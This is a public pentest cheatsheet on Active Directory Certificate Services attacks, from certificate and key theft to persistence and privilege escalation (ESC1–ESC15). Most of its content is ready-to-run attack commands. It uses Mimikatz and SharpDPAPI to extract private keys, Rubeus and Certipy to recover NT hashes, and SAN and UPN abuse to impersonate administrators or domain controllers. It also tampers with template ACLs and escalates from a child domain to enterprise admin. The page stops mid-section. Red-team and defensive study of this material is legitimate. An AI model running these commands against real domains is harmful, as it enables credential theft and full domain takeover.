

Active Directory Certificate Services

It is a cheatsheet about the different AD-CS attacks presented by SpecterOps. All the references and resources for the commands and techniques will be listed at the end of the page, for acknowledgments and explains. This was originally a private page that I made public, so it is possible that I have copy/paste some parts from other places and I forgot to credit or modify. If it the case, you can contact me on my Twitter [@BIWasp_](#).

I will try to put as many links as possible at the end of the page to direct to more complete resources. Many commands are more explained [here](#), where I have participate for AD-CS.

Is there a CA ?

Find the **Cert Publishers** group :

- From UNIX-like systems: `rpc net group members "Cert Publishers" -U "DOMAIN"/"User"%Password" -S "DomainController"`
- From Windows systems: `net group "Cert Publishers" /domain`

Find the PKI and enumerate the templates and configurations from Linux:

```
netexec ldap 'domaincontroller' -d 'contoso' -u 'user' -p 'password' -M adcs
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP'
```

Find the CA from Windows:

```
certutil -config - -ping
Certify.exe cas
Certify.exe find
```

Enumerate the HTTP ports on the servers, enumerate the shares to find **CertEnroll**, etc.

Certificate Theft

Export user certificates with Crypto APIs - THEFT1

With a session on a machine as a user, it is possible to export his certificate from the Windows Certificate Manager. With an interactive session and if **the private keys are exportable** :

`certmgr.msc -> All Tasks -> Export...` to export a password protected .pfx file.

With PowerShell :

```
$mypwd = ConvertTo-SecureString -String "Password123!" -Force -AsPlainText
Export-PfxCertificate -Cert cert:\currentuser\my\<CERT_THUMBPRINT> -FilePath ./export.pfx -
Password $mypwd

#Or with CertStealer
#List all certs
CertStealer.exe --list

#Export a cert in pfx
CertStealer.exe --export pfx <CERT_THUMBPRINT>
```

If the CAPI or CNG APIs are configured to block the private key export, they can be patched with Mimikatz :

```
mimikatz #
crypto::capi
privilege::debug
crypto::cng

crypto::certificates /export
```

Certificate theft via DPAPI - THEFT2 & 3

User certificates

With the master key :

```
#With SharpDPAPI
SharpDPAPI.exe certificates /mkfile:key.txt

#With Mimikatz
#Export certificate and its public key to DER
cd C:\users\user1\appdata\roaming\microsoft\systemcertificates\my\certificates\
./mimikatz.exe "crypto::system /file: 43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8 /export"
[Key Container   : te-CYEFsr-a2787189-b92a-49d0-b9dc-cf99786635ab

#Find the master key (test them all until you find the good one)
./mimikatz.exe "dpapi::capi /in: ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-
c5fff1b0a3ad"
[pUniqueName      : te-CYEFsr-a2787189-b92a-49d0-b9dc-cf99786635ab #->good one
[guidMasterKey    : {f216eabc-73af-45dc-936b-babe7ca8ed05}

#Decrypt the master key
./mimikatz.exe "dpapi::masterkey /in: f216eabc-73af-45dc-936b-babe7ca8ed05 /rpc" exit
[key :
40fcaaf0f3d80955bd6b4a57ba5a3c6cd21e5728bcdfa5a4606e1bf0a452d74ddb4e222b71c1c3be08cb4f337f32e62!
[sha1: 81a2357b28e004f3df2f7c29588fbd8d650f5e70

#Decrypt the private key
./mimikatz.exe "dpapi::capi
/in: \"Crypto\RSA\<user_SID>\ed6c2461ca931510fc7d336208cb40b5_cd42b893-122c-49c3-85da-
c5fff1b0a3ad\" /masterkey: 81a2357b28e004f3df2f7c29588fbd8d650f5e70" exit
[Private export : OK - 'dpapi_private_key.pvk'

#Build PFX certificate
openssl x509 -inform DER -outform PEM -in 43ECC04D4ED3A29EAEF386C14C6B650DCD4E1BD8.der -out
public.pem
openssl rsa -inform PVK -outform PEM -in dpapi_private_key.pvk -out private.pem
openssl pkcs12 -in public.pem -inkey private.pem -password pass:bar -keyex -CSP "Microsoft
Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

With a domain backup key to first decrypt all possible master keys :

```
SharpDPAPI.exe certificates /pvk: key.pvk
```

Machine certificates

Same, but in a elevated context :

```
SharpDPAPI.exe certificates /machine
```

To convert a PEM file to a PFX :

```
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -  
export -out cert.pfx
```

Finding certificate files - THEFT4

To search for possibly certificate and key related files with Seatbelt :

```
./Seatbelt.exe "dir C:\ 10 \.(pfx|pem|p12)`$ false"  
./Seatbelt.exe InterestingFiles
```

Other interesting extensions :

- **.key** : Contains just the private key
- **.crt/.cer** : Contains just the certificate
- **.csr** : Certificate signing request file. This does not contain certificates or keys
- **.jks/.keystore/.keys** : Java Keystore. May contain certs + private keys used by Java applications

To find what the certificate can do :

```
$CertPath = ".\cert.pfx"
$CertPass = "Password123! "
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
@($CertPath, $CertPass)
$Cert.EnhancedKeyUsageList

#Or with a pfx
certutil.exe -dump -v cert.pfx
```

Verify if a found certificate is the CA certificate (you are really lucky) :

```
#Show certificate thumbprint
$CertPath = ".\cert.pfx"
$CertPass = "Password123! "
$Cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
@($CertPath, $CertPass)
$Cert.Thumbprint

#Verify CA thumbprint
certutil.exe find /quiet
```

If they match, it's good.

NTLM Credential Theft via PKINIT – THEFT5

When a TGT is requested with PKINIT, the **LM:NT hash** is added in the structure **PAC CREDENTIAL INFO** for futur use if Kerberos is not supported, and the PAC is ciphered with the krbtgt key. When a TGS is requested from the TGT, the same structure is added, but ciphered with the session key.

The structure can be unciphered if a TGS-REQ U2U is realised. It's called **UnPac-the-hash**.

Windows

```
Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE"
/password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
```

Linux

```
# Authenticate and recover the NT hash
certipy auth -pfx 'user.pfx' -no-save
```

Account Persistence

User account persistence - PERSIST1

With a user account control on a domain machine, if a template that allows **Client Authentication** is enabled, it is possible to request a certificate that will be valid for the lifetime specified in the template even if the user changes his password.

Windows

```
Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template"
```

Linux

If the user's password is known:

```
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca  
'ca_name' -template 'Authentication Template'
```

Machine account persistence - PERSIST2

With a machine account control, if a template that allows **Client Authentication** is enabled for the computers, it is possible to request a certificate that will be valid for the lifetime specified in the template even a password modification, a system wipe or whatever (if the machine hostname remains the same).

Windows

```
Certify.exe request /ca:CA.contoso.local\CA /template:"Authentication Template" /machine
```

Linux

If the machine's hash is known:

```
certipy req -u 'machine@contoso.local' -hashes ':<hash_NT>' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -template 'Authentication Template'
```

Account persistence via Certificate Renewal - PERSIST3

The **renewal period** of a template indicates the timeframe before the certificate expiration where the user can manually renew his certificate.

The attacker, however, can renew the certificate before expiration. This can function as an extended persistence approach that prevents additional ticket enrollments from being requested, which can leave artifacts on the CA server itself.

Domain Privesc

Template Attacks - ESC1, 2, 3, 9, 10, 13, 14, 15

	ESC1	ESC2	ESC3 Requires two templates (1) and (2)
The Enterprise CA grants low-privileged users enrollment rights.			(1) and (2)
Manager approval is disabled.			(1) and (2)
No authorized signatures are required.			(1)
An overly permissive certificate template security descriptor grants certificate enrollment rights to low-privileged users.			(1)
The certificate template defines EKUs that enable authentication.			(2)
The certificate template allows requesters to specify a subjectAltName in the CSR.			
The certificate template defines the Any Purpose ECU or no ECU.			
The certificate template defines the Certificate Request Agent ECU.			(1)
The template schema version is 1 or greater than 2 and specifies an Application Policy Issuance Requirement requiring the Certificate Request Agent ECU.			(2)
Enrollment agent restrictions are not implemented on the CA.			(2)

- **ESC1** : SAN authorized & Low Privileged Users can enroll & Authentication ECU
- **ESC2** : Low Privileged Users can enroll & Any or No ECU
- **ESC3** : Certificate Request Agent ECU & Enrollment agent restrictions are not implemented on the CA
 - A template allows a low-privileged user to use an enrollment agent certificate.

- Another template allows a low privileged user to use the enrollment agent certificate to request a certificate on behalf of another user, and the template defines an EKU that allows for domain authentication.

Template misconfiguration - ESC1, 2 & 3

Windows

ESC1 & 2

```
# Find vulnerable/abusable certificate templates using default low-privileged group
Certify.exe find /vulnerable

# Find vulnerable/abusable certificate templates using all groups the current user context is
a part of:
Certify.exe find /vulnerable /currentuser

# Request certificate with SAN
Certify.exe request /ca: CA.contoso.local\CA /template: "Vulnerable template" /altname: "admin"

# Convert PEM to PFX (from Linux)
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -
export -out admin.pfx
```

If **ANY EKU** but no Client Authentication, it can be used as an **ESC3**.

ESC2 & 3

```
# Request an enrollment agent certificate
Certify.exe request /ca: CA.contoso.local\CA /template: Vuln-EnrollAgentTemplate

# Request a certificate on behalf of another to a template that allow for domain
authentication
Certify.exe request /ca: CA.contoso.local\CA /template: User /onbehalfof: CONTOSO\Admin
/enrollcert: enrollmentAgentCert.pfx /enrollcertpw: Passw0rd!
```

Linux

ESC1 & 2

```
# enumerate and save text, json and bloodhound (original) outputs
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -old-bloodhound

# quickly spot vulnerable elements
```



```
certipy find -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -vulnerable -stdout

#To specify a user account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca
'ca_name' -template 'vulnerable template' -upn 'administrator@contoso.local'

#To specify a computer account in the SAN
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca
'ca_name' -template 'vulnerable template' -dns 'dc.contoso.local'
```

If **ANY EKU** but no Client Authentication, it can be used as an **ESC3**.

ESC2 & 3

```
# Request a certificate specifying the Certificate Request Agent EKU
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca
'ca_name' -template 'vulnerable template'

# Used issued certificate to request another certificate on behalf of another user
certipy req -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca
'ca_name' -template 'User' -on-behalf-of 'contoso\domain admin' -pfx 'user.pfx'
```

Extension misconfiguration - ESC9 & 10

- **ESC9** : No security extension, the certificate attribute `msPKI-Enrollment-Flag` contains the flag `CT FLAG NO SECURITY EXTENSION`
 - `StrongCertificateBindingEnforcement` not set to `2` (default: `1`) or `CertificateMappingMethods` contains `UPN` flag (`0x4`)
 - The template contains the `CT FLAG NO SECURITY EXTENSION` flag in the `msPKI-Enrollment-Flag` value
 - The template specifies client authentication
 - `GenericWrite` right against any account A to compromise any account B
- **ESC10** : Weak certificate mapping
 - Case 1 : `StrongCertificateBindingEnforcement` set to `0`, meaning no strong mapping is performed
 - A template that specifies client authentication is enabled
 - `GenericWrite` right against any account A to compromise any account B
 - Case 2 : `CertificateMappingMethods` is set to `0x4`, meaning no strong mapping is performed and only the UPN will be checked
 - A template that specifies client authentication is enabled
 - `GenericWrite` right against any account A to compromise any account B without a UPN already set (machine accounts or built-in Administrator account for example)

Windows

ESC9

Here, **user1** has **GenericWrite** against **user2** and want to compromise **user3**. **user2** is allowed to enroll in a vulnerable template that specifies the **CT_FLAG_NO_SECURITY_EXTENSION** flag in the **msPKI-Enrollment-Flag** value.

```
#Retrieve user2 creds via Shadow Credentials
Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER"
/path:"cert.pfx" /password:"pfx-password"
#Change user2 UPN to user3
Set-DomainObject user2 -Set @{'userPrincipalName'='user3'} -Verbose
#Request vulnerable certif with user2
Certify.exe request /ca:CA.contoso.local\CA /template:"Vulnerable template"
#user2 UPN change back
Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose
#Authenticate with the certif and obtain user3 hash during UnPac the hash
Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERTIFICATE"
/password:"CERTIFICATE_PASSWORD" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /show
```

ESC10 - Case 1

Here, **user1** has **GenericWrite** against **user2** and want to compromise **user3**.

```
#Retrieve user2 creds via Shadow Credentials
Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER"
/path:"cert.pfx" /password:"pfx-password"
#Change user2 UPN to user3
Set-DomainObject user2 -Set @{'userPrincipalName'='user3'} -Verbose
#Request authentication certif with user2
Certify.exe request /ca:CA.contoso.local\CA /template:"User"
#user2 UPN change back
Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose
#Authenticate with the certif and obtain user3 hash during UnPac the hash
Rubeus.exe asktgt /getcredentials /certificate:"BASE64_CERTIFICATE"
/password:"CERTIFICATE_PASSWORD" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER" /show
```

ESC10 - Case 2

Here, **user1** has **GenericWrite** against **user2** and want to compromise the domain controller **DC\$@contoso.local**.

```
#Retrieve user2 creds via Shadow Credentials
Whisker.exe add /target:"user2" /domain:"contoso.local" /dc:"DOMAIN_CONTROLLER"
/path:"cert.pfx" /password:"pfx-password"
#Change user2 UPN to DC$@contoso.local
Set-DomainObject user2 -Set @{'userPrincipalName'='DC$@contoso.local'} -Verbose
#Request authentication certif with user2
Certify.exe request /ca:CA.contoso.local\CA /template:"User"
#user2 UPN change back
Set-DomainObject user2 -Set @{'userPrincipalName'='user2@contoso.local'} -Verbose
```

Now, authentication with the obtained certificate will be performed through Schannel. It can be used to perform, for example, an RBCD.

Linux

ESC9

Here, **user1** has **GenericWrite** against **user2** and want to compromise **user3**. **user2** is allowed to enroll in a vulnerable template that specifies the **CT FLAG NO SECURITY EXTENSION** flag in the **msPKI-Enrollment-Flag** value.

```
#Retrieve user2 creds via Shadow Credentials
certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2
#Change user2 UPN to user3
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn
user3@contoso.local
#Request vulnerable certif with user2
certipy req -username 'user2@contoso.local' -hash 'hash_value' -target 'ca_host' -ca
'ca_name' -template 'vulnerable template'
#user2 UPN change back
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn
user2@contoso.local
#Authenticate with the certif and obtain user3 hash during UnPac the hash
certipy auth -pfx 'user3.pfx' -domain 'contoso.local'
```

ESC10 - Case 1

Here, **user1** has **GenericWrite** against **user2** and want to compromise **user3**.

```
#Retrieve user2 creds via Shadow Credentials
certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2
#Change user2 UPN to user3
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn
```

```

user3@contoso.local
#Request authentication certif with user2
certipy req -username 'user2@contoso.local' -hash 'hash_value' -ca 'ca_name' -template 'User'
#user2 UPN change back
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn
user2@contoso.local
#Authenticate with the certif and obtain user3 hash during UnPac the hash
certipy auth -pfx 'user3.pfx' -domain 'contoso.local'

```

ESC10 - Case 2

Here, **user1** has **GenericWrite** against **user2** and want to compromise the domain controller **DC\$@contoso.local**.

```

#Retrieve user2 creds via Shadow Credentials
certipy shadow auto -username 'user1@contoso.local' -p 'password' -account user2
#Change user2 UPN to DC$@contoso.local
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn
'DC$@contoso.local'
#Request authentication certif with user2
certipy req -username 'user2@contoso.local' -hash 'hash_value' -ca 'ca_name' -template 'User'
#user2 UPN change back
certipy account update -username 'user1@contoso.local' -p 'password' -user user2 -upn
user2@contoso.local
#Authenticate through Schannel to realise a RBCD in a LDAP shell
certipy auth -pfx dc.pfx -dc-ip 'DC_IP' -ldap-shell

```

Issuance policiy with privileged group linked - ESC13

Issuance policy can be added to certificate template in the **msPKI-Certificate-Policy** attribute. Issuing policies are **msPKI-Enterprise-Old** objects found in the PKI OID container (**CN=OID, CN=Public Key Services, CN=Services**, in the Configuration Naming Context).

This object has an **msDS-0IDToGroupLink** attribute which allows a policy to be linked to an AD group so that a system can authorise a user presenting the certificate as if he were a member of this group. As explained by [Jonas Bülow Knudsen here](#).

Windows

Identify a template with an issuance policy.

```

Get-ADObject "CN='Vulnerable template',$TemplateContainer" -Properties msPKI-Certificate-

```

Policy

Verify if an interesting group is linked to this policy.

```
Get-ADObject "CN=$POLICY_ID,$OIDContainer" -Properties DisplayName, msPKI-Cert-Template-  
OID, msDS-OIDToGroupLink
```

Then just request a certificate from the template.

```
.\Certify.exe request /ca: CA.contoso.local\CA01 /template: "Vulnerable template"
```

Linux

This [PR](#) on Certipy permits to identify template with issuance policy, and which ones are linked to group.

```
certipy find -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP'
```

Then just request a certificate from the template.

```
certipy req -u 'user1@contoso.local' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca  
'ca_name' -template 'Vulnerable template'
```

Weak explicit mapping - ESC14

Theory and requirements for this privilege escalation technique are pretty complex, and it is mandatory to have strong knowledges about certificate mapping. I recommend you to read [this page](#) first.

Detection

- Check for sufficient rights against `altSecurityIdentities` attributes:

```
# Get the ACEs for a single object based on DistinguishedName  
Get-WriteAltSecIDACEs -DistinguishedName "dc=contoso,dc=local"  
  
# Get ACEs of all AD objects under domain root by piping them into Get-WriteAltSecIDACEs  
Get-ADObject -Filter * -SearchBase "dc=contoso,dc=local" | Get-WriteAltSecIDACEs
```

```
dacledit.py -action 'read' -principal 'controlled_object' -target 'target_object'
```

```
' contoso' /' user' : ' password'
```

- Check for weak explicit mapping

```
Get-AltSecIDMapping -SearchBase "CN=Users,DC=contoso,DC=local"
```

ESC14 A - Write access on altSecurityIdentities

- The attacker has write access to the **altSecurityIdentities** attribute of the **target**
- He can enrol on a certificate as the **victim** and create an explicit mapping for the **target** by modifying its **altSecurityIdentities** attribute and pointing it to the obtained certificate
- The certificate can then be used to authenticate as the **target**

```
# Obtain a first certificate
Certify.exe request /ca:contoso\ca /template:Machine /machine

# Craft a X509IssuerSerialNumber mapping string
Get-X509IssuerSerialNumberFormat -SerialNumber $SERIAL_NUMBER -IssuerDistinguishedName
$ISSUER_DN

# Add the string to the altSecurityIdentities attribute on the target
Add-AltSecIDMapping -DistinguishedName $TARGET_DN -MappingString $MAPPING_STRING
Get-AltSecIDMapping -DistinguishedName $TARGET_DN

# Use the previous certificate to authenticate as the target
```

ESC14 B - Target with X509RFC822 (email)

- The **target** has an explicit weak mapping of type **X509RFC822**
- The attacker can modify the **mail** attribute of the **victim** so that it matches the **X509RFC822** mapping of the **target**
- It is then possible to enroll on the certificate model with the **victim**, and use the certificate obtained to authenticate as the **target**
- The **target** is a user account
- The **target** already has at least one **X509RFC822** mapping in **altSecurityIdentities**
- The attacker has write access to the **mail** attribute of the **victim**
- The certificate template shows **CT_FLAG_NO_SECURITY_EXTENSION** in **msPKI-Enrollment-Flag** and shows the attribute **CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL** in **msPKI-Certificate-Name-Flag**
- For PKINIT, **StrongCertificateBindingEnforcement** is set to **0** or **1**
- For Schannel, **CertificateMappingMethods** indicates **0x8** and **StrongCertificateBindingEnforcement** is set to **0** or **1**

```
# Overwrite the mail attribute of the victim to match the X509RFC822 mapping of the target
$victim = [ADSI]"LDAP://$VICTIM_DN"
$victim.Properties["mail"].Value = $TARGET_EMAIL
$victim.CommitChanges()

# Request a certificate as the victim to authenticate as the target
Certify.exe request /ca:contoso\ca /template:$TEMPLATE_MAIL
```

ESC14 C - Target with X509IssuerSubject

- The **target** has an explicit weak mapping of type `X509IssuerSubject`
- The attacker can modify the `cn` or `dNSHostName` attribute of the **victim** to match the subject of the `X509IssuerSubject` mapping of the **target**
- It is then possible to enroll on the certificate template with the **victim**, and use the resulting certificate to authenticate as the **target**
- The **target** already has at least one `X509IssuerSubject` mapping in `altSecurityIdentities`
- If the **victim** is a user:
 - The attacker can modify the `cn` and `name` attributes of the **victim** (to change the `cn`, the `name` must match)
 - If the **target** is a user and the `X509IssuerSubject` mapping has the current value of the `cn` attribute of the **target** as its identifier, the **victim** and the **target** cannot be in the same container (the DC will not allow the `cn` of the victim to be set according to the `cn` of the target if they are in the same container, as this would mean that they have the same `distinguishedName`)
- If the **victim** is a machine: the attacker has write access to the `dNSHostName` attribute
- The certificate template indicates `CT_FLAG_NO_SECURITY_EXTENSION` in `msPKI-Enrollment-Flag` (except for Schannel authentication with the DC having the `CertificateMappingMethods` key set to `0x1`)
- The template has one of the following flags in `msPKI-Certificate-Name-Flag`: `CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME` or `CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN`
- The certificate does not have any of the following flags: `CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH` and `CT_FLAG_SUBJECT_REQUIRE_EMAIL`
- The enterprise PKI is the issuer referenced by `IssuerName` in the `X509IssuerSubject` mapping of the **target**
- For PKINIT, `StrongCertificateBindingEnforcement` is set to `0` or `1`
- For Schannel, `CertificateMappingMethods` indicates `0x8` and `StrongCertificateBindingEnforcement` is set to `0` or `1`, or `CertificateMappingMethods` is set to `0x1`

```
# Overwrite the cn attribute of the victim to be equal to target.contoso.local
$victim = [ADSI]"LDAP://CN=$VICTIM,CN=Users,DC=contoso,DC=local"
$victim.Rename("CN=$TARGET.contoso.local")
Get-ADUser $VICTIM
```

```
# Request a certificate as the victim to authenticate as the target
Certify.exe request /ca:contoso\ca /template:$TEMPLATE
```

ESC14 D - Target with X509SubjectOnly

- The **target** has an explicit weak mapping of type **X509SubjectOnly**
- The attacker can modify the **cn** or **dNSHostName** attribute of the **victim** to match the subject of the **X509SubjectOnly** mapping of the **target**
- It is then possible to enroll on the certificate template with the **victim**, and use the resulting certificate to authenticate as the **target**
- The **target** already has at least one **X509SubjectOnly** mapping in **altSecurityIdentities**
- If the **victim** is a user:
 - The attacker can modify the **cn** and **name** attributes of the **victim** (to change the **cn**, the **name** must match)
 - If the **target** is a user and the **X509SubjectOnly** mapping has the current value of the **cn** attribute of the **target** as its identifier, the **victim** and the **target** cannot be in the same container (the DC will not allow the **cn** of the victim to be set according to the **cn** of the target if they are in the same container, as this would mean that they have the same **distinguishedName**)
- If the **victim** is a machine: the attacker has write access to the **dNSHostName** attribute
- The certificate template indicates **CT FLAG NO SECURITY EXTENSION** in **msPKI-Enrollment-Flag**
- The template has one of the following flags in **msPKI-Certificate-Name-Flag**:
CT FLAG SUBJECT REQUIRE COMMON NAME or **CT FLAG SUBJECT REQUIRE DNS AS CN**
- The certificate does not have any of the following flags:
CT FLAG SUBJECT REQUIRE DIRECTORY PATH and **CT FLAG SUBJECT REQUIRE EMAIL**
- For PKINIT, **StrongCertificateBindingEnforcement** is set to **0** or **1**
- For Schannel, **CertificateMappingMethods** indicates **0x8** and **StrongCertificateBindingEnforcement** is set to **0** or **1**

```
# Overwrite the cn attribute of the victim to be equal to target.contoso.local
$victim = [ADSI]"LDAP://CN=$VICTIM,CN=Computers,DC=contoso,DC=local"
$victim.Properties["dNSHostName"].Value = $TARGET
$victim.CommitChanges()

# Request a certificate as the victim to authenticate as the target
Certify.exe request /ca:contoso\ca /template:$TEMPLATE /machine
```

Arbitrary application policy - ESC15 (CVE-2024-49019)

- <https://www.thehacker.recipes/ad/movement/adcs/certificate-templates#esc15-cve-2024-49019-arbitrary-application-policy>


```
# Request a certificate with "Certificate Request Agent" application policy
certipy req -u user1@contoso.local -p 'password' --application-policies
"1.3.6.1.4.1.311.20.2.1" -ca 'ca_name' -template 'vulnerable template' -dc-ip 'DC_IP'

# Use the certificate in a ESC3 scenario to ask for a new certificate on behalf of another
user
certipy req -u user1@contoso.local -p 'password' -on-behalf-of domain\\Administrator -
template User -ca 'ca_name' -pfx cert.pfx -dc-ip 'DC_IP'

# Authenticate with the last certificate
certipy auth -pfx administrator.pfx -dc-ip 'DC_IP'
```

Access Controls Attacks - ESC4, 5, 7

Sufficient rights against a template - ESC4

- https://github.com/daem0nc0re/Abusing_Weak_ACL_on_Certificate_Templates
 - <https://http418infosec.com/ad-cs-the-certified-pre-owned-attacks#esc4>
1. Get Enrollment rights for the vulnerable template
 2. Disable `PEND_ALL_REQUESTS` flag in `mspki-enrollment-flag` for disabling Manager Approval
 3. Set `mspki-ra-signature` attribute to `0` for disabling Authorized Signature requirement
 4. Enable `ENROLLEE_SUPPLIES_SUBJECT` flag in `mspki-certificate-name-flag` for specifying high privileged account name as a SAN
 5. Set `mspki-certificate-application-policy` to a certificate purpose for authentication
 - Client Authentication (OID: `1.3.6.1.5.5.7.3.2`)
 - Smart Card Logon (OID: `1.3.6.1.4.1.311.20.2.2`)
 - PKINIT Client Authentication (OID: `1.3.6.1.5.2.3.4`)
 - Any Purpose (OID: `2.5.29.37.0`)
 - No EKU
 6. Request a high privileged certificate for authentication and perform Pass-The-Ticket attack

Windows

```
# Add Certificate-Enrollment rights
Add-DomainObjectAcl -TargetIdentity templateName -PrincipalIdentity "Domain Users" -
RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase
"LDAP://CN=Configuration,DC=contoso,DC=local" -Verbose

# Disabling Manager Approval Requirement
```

```

Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR
@{'mspki-enrollment-flag'=2} -Verbose

# Disabling Authorized Signature Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set
@{'mspki-ra-signature'=0} -Verbose

# Enabling SAN Specification
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR
@{'mspki-certificate-name-flag'=1} -Verbose

# Editing Certificate Application Policy Extension
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set
@{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose

```

Linux

- Quick override and restore

```

# Overwrite the certificate template and save the old configuration
certipy template -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -template templateName -
save-old

# After the ESC1 attack, restore the original configuration
certipy template -u 'user@contoso.local' -p 'password' -dc-ip 'DC_IP' -template templateName -
configuration 'templateName.json'

```

- Precise modification

```

# Query a certificate template (all attributes)
python3 modifyCertTemplate.py -template templateName contoso.local/user:pass

# Query the raw values of all template attributes
python3 modifyCertTemplate.py -template templateName -raw contoso.local/user:pass

# Query the ACL for a certificate template

```

```
python3 modifyCertTemplate.py -template templateName -get-acl contoso.local/user:pass

# Disabling Manager Approval Requirement
python3 modifyCertTemplate.py -template templateName -value 2 -property mspki-enrollment-flag
contoso.local/user:pass

# Disabling Authorized Signature Requirement
python3 modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature
contoso.local/user:pass

# Enabling SAN Specification
python3 modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property
msPKI-Certificate-Name-Flag contoso.local/user:pass

# Editing Certificate Application Policy Extension
python3 modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2',
'1.3.6.1.5.2.3.4'" -property mspki-certificate-application-policy contoso.local/user:pass
```

Sufficient rights against several objects - ESC5

- CA server's AD computer object (i.e., compromise through RBCD)
- The CA server's RPC/DCOM server
- Any descendant AD object or container in the container
`CN=Public Key Services,CN=Services,CN=Configuration,DC=<COMPANY>,DC=<COM>` (e.g., the Certificate Templates container, Certification Authorities container, the NTAUTHCertificates object, the Enrollment Services container, etc.)

For more explains, take a look at this [blog post](#) and [this one](#).

In an AD, the `Configuration naming context` object is duplicated between all the writable DC of the forest, and any changes made by a DC in this object in its local copy are automatically propagated to all the other DC, including the DC of the root domain.

The SYSTEM user on the child domain's domain controller has full control of some objects in the domain-local copy of the forest root domain's Configuration naming context.

In particular, it has **Full Control** over the **Certificate Templates container**, meaning that it can add new (vulnerable) certificate templates, that will be replicated to the `Configuration naming context` on the root domain controller. Then, it also has **Full Control** over the **Enrollment Services container**, where the published templates are stored.

So the privesc from DA in a child domain to EA in the root domain is quit straightforward:

- After the takeover of the child domain, open a RDP session on the domain controller as an administrator
- Open a PowerShell session as SYSTEM (for example with PsExec)
- Launch `certtmpl.msc` as SYSTEM and duplicate an existing template. In the properties, make it vulnerable to ESC1
- Launch `certsrv.msc` as SYSTEM and publish the newly created template
 - As another way, access the ADSI Edit as SYSTEM (via MMC) and add the new template to the `certificateTemplates` property of the **Enrollment Services container**
- Finally, perform the ESC1 attack with Certify of Certipy

Sufficient rights against the CA - ESC7

- <https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ad-cs-abuse#vulnerable-ca-aces-esc7>

Windows

- *If an attacker gains control over a principal that has the **ManageCA** right over the CA, he can remotely flip the `EDITF_ATTRIBUTESUBJECTALTNAME2` bit to allow SAN specification in any template*

```
# If RSAT is not present on the machine
DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~0.0.1.0

# Install PSPKI
Install-Module -Name PSPKI
Import-Module PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.contoso.local | Get-
CertificationAuthorityAcl | select -ExpandProperty access

$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD
"CA.contoso.com"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags",
"PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags",
"PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
```

```
# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
certutil.exe -config "CA.contoso.local\CA" -getreg "policy\EditFlags"

reg query
